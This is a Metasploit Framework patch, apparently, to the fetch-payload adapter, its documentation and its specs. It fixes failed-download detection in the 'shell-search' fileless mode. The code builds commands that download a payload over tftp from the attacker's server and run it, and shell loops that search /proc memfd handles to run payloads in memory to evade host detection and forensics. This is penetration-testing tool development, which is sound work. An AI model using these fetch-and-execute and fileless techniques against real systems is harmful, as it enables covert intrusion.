From 053aa9c44a944c21aa81a7580a12899dbd33f297 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 31 Jul 2026 16:28:02 -0500 Subject: [PATCH] Minor fix to shell-search to accurately determine failed download --- .../How-to-use-fetch-payloads.md | 6 +-- lib/msf/core/payload/adapter/fetch.rb | 12 +++-- .../core/payload/adapter/fetch/fileless.rb | 5 +- .../payload/adapter/fetch/fileless_spec.rb | 47 ++++++++++++++++++- .../msf/core/payload/adapter/fetch_spec.rb | 37 +++++++++++++++ 5 files changed, 94 insertions(+), 13 deletions(-) diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md index 87275fe794d8b..92b61cab24e2a 100644 --- a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -99,10 +99,10 @@ served payload is the same. memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command -searches for anonymous file handle it can write to and in some restricted systems or with low-privileged user, it might not find +searches for an anonymous file handle it can write to, and on some restricted systems or with a low-privileged user, it might not find a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds -a standard fetch command as backup. This means that if `shell-search` fetch command cannot find a suitable anonymous -file handle, it execute standard fetch command that downloads the adapted payload. +a standard fetch command as backup. This means that if the `shell-search` fetch command cannot find a suitable anonymous +file handle, it executes the standard fetch command that downloads the adapted payload. `FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not supported by every binary and must end in `.exe` on Windows hosts. The default value is random. diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 25c3bae11bd80..d756e074dc74f 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -342,10 +342,10 @@ def _execute_win(get_file_cmd) def _execute_nix(get_file_cmd) return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' - + if datastore['FETCH_FILELESS'] == 'shell-search' cmds = _generate_fileless_bash_search(get_file_cmd) - cmds << "f=#{_remote_destination_nix(true)};" + cmds << "f=#{_remote_destination_nix(failsafe: true)};" cmds << get_file_cmd else cmds = get_file_cmd @@ -458,13 +458,14 @@ def _generate_tftp_command(uri) fetch_command = _execute_win("tftp -i #{srvhost} GET #{uri} #{_remote_destination}") else _check_tftp_file + tftp_fetch_and_exec = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" if datastore['FETCH_FILELESS'] != 'none' && linux? get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}" return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' - return "#{_generate_fileless_bash_search(get_file_cmd)} (echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" if datastore['FETCH_FILELESS'] == 'shell-search' + return "#{_generate_fileless_bash_search(get_file_cmd)} #{tftp_fetch_and_exec}" if datastore['FETCH_FILELESS'] == 'shell-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' else - fetch_command = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" + fetch_command = tftp_fetch_and_exec end end else @@ -521,7 +522,7 @@ def _remote_destination # Returns or memoizes the remote payload destination for POSIX targets. # # @return [String] The POSIX destination path or fileless placeholder. - def _remote_destination_nix(failsafe = false) + def _remote_destination_nix(failsafe: false) return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe == true if datastore['FETCH_FILELESS'] != 'none' && failsafe == false @@ -534,6 +535,7 @@ def _remote_destination_nix(failsafe = false) payload_filename = srvuri if payload_filename.blank? payload_path = writable_dir + payload_filename return payload_path if failsafe + @remote_destination_nix = payload_path end @remote_destination_nix diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 1b6a4da405fa1..306038e7741b9 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -186,7 +186,6 @@ def _generate_first_stage_shellcode(arch) end return payload end - def _generate_jmp_instruction(arch) # @@ -293,7 +292,7 @@ def _generate_fileless_shell(get_file_cmd, arch) cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);' cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];' - cmd << "then if $(#{get_file_cmd} >/dev/null);" + cmd << "then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ];" cmd << 'then $f & FOUND=1;break;' cmd << 'fi;' cmd << 'fi;' @@ -326,7 +325,7 @@ def _generate_fileless_bash_search(get_file_cmd) # and execute it cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' - cmd << "; then if $(#{get_file_cmd} >/dev/null)" + cmd << "; then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]" cmd << '; then $f' cmd << '; FOUND=1' cmd << '; exit 1' diff --git a/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb b/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb index 04f8ef2ced14c..bc917b9cd7a03 100644 --- a/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb +++ b/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb @@ -46,7 +46,37 @@ subject(:cmd) { harness._generate_fileless_bash_search(get_file_cmd) } it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do - expect(cmd).to include("if $(#{get_file_cmd} >/dev/null)") + expect(cmd).to include("if #{get_file_cmd} >/dev/null") + end + + it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do + # $(get_file_cmd >/dev/null) always captures an empty string (stdout is + # redirected away inside the substitution), and `if ` is always + # true in bash regardless of whether get_file_cmd actually succeeded. + expect(cmd).not_to include("$(#{get_file_cmd}") + end + + it 'verifies the candidate anonymous file actually holds a downloaded ELF, not just any pre-existing content' do + # A candidate fd can pass the memfd/rwx filter yet belong to an unrelated + # process with its own real (non-empty) data already in it -- a bare + # exit-status or size check can't tell "our payload landed here" apart + # from "there was already unrelated data here we couldn't overwrite". + expect(cmd).to include(%q{[ "$(dd if=$f bs=1 count=4 2>/dev/null)" = "$(printf '\177ELF')" ]}) + end + + it 'does not depend on od or head -c, neither of which is guaranteed present/POSIX-mandated on minimal/embedded busybox builds' do + expect(cmd).not_to include('od ') + expect(cmd).not_to include('head -c4 $f') + end + + it 'exits the whole script on a successful match rather than merely breaking the search loop' do + # A bare `break` only exits the innermost loop -- when this search + # script is concatenated with a fallback (as _execute_nix's shell-search + # branch does), a successful match must terminate the entire script via + # `exit`, or the fallback below would run again and re-download/re-exec + # the payload a second time. + expect(cmd).to include('; exit 1') + expect(cmd).not_to include('; break') end end @@ -54,7 +84,20 @@ subject(:cmd) { harness._generate_fileless_shell(get_file_cmd, 'mipsle') } it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do - expect(cmd).to include("then if $(#{get_file_cmd} >/dev/null)") + expect(cmd).to include("then if #{get_file_cmd} >/dev/null") + end + + it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do + expect(cmd).not_to include("$(#{get_file_cmd}") + end + + it 'verifies the candidate anonymous file actually holds a downloaded ELF' do + expect(cmd).to include(%q{[ "$(dd if=$f bs=1 count=4 2>/dev/null)" = "$(printf '\177ELF')" ]}) + end + + it 'does not depend on od or head -c, neither of which is guaranteed present/POSIX-mandated on minimal/embedded busybox builds' do + expect(cmd).not_to include('od ') + expect(cmd).not_to include('head -c4 $f') end end end diff --git a/spec/lib/msf/core/payload/adapter/fetch_spec.rb b/spec/lib/msf/core/payload/adapter/fetch_spec.rb index f236643e382e8..4a4df3a986c11 100644 --- a/spec/lib/msf/core/payload/adapter/fetch_spec.rb +++ b/spec/lib/msf/core/payload/adapter/fetch_spec.rb @@ -69,4 +69,41 @@ def _execute_add(get_file_cmd) describe '#_generate_wget_command' do include_examples 'a dynamic-arch aware fetch command', :_generate_wget_command end + + describe '#_remote_destination_nix' do + let(:harness_class) do + Class.new do + include Msf::Payload::Adapter::Fetch + + def initialize + @datastore = { + 'FETCH_FILELESS' => 'shell-search', + 'FETCH_WRITABLE_DIR' => '', + 'FETCH_FILENAME' => '' + } + end + attr_accessor :datastore + + def srvuri + 'payload_uri' + end + end + end + + subject(:harness) { harness_class.new } + + it 'returns the standard writable-dir path when called with failsafe: true' do + expect(harness.send(:_remote_destination_nix, failsafe: true)).to eq('./payload_uri') + end + + it 'does not memoize the failsafe: true result into @remote_destination_nix' do + harness.send(:_remote_destination_nix, failsafe: true) + expect(harness.instance_variable_get(:@remote_destination_nix)).to be_nil + end + + it 'still returns the fileless placeholder on a later unqualified call, unaffected by the earlier failsafe: true peek' do + harness.send(:_remote_destination_nix, failsafe: true) + expect(harness.send(:_remote_destination_nix)).to eq('$f') + end + end end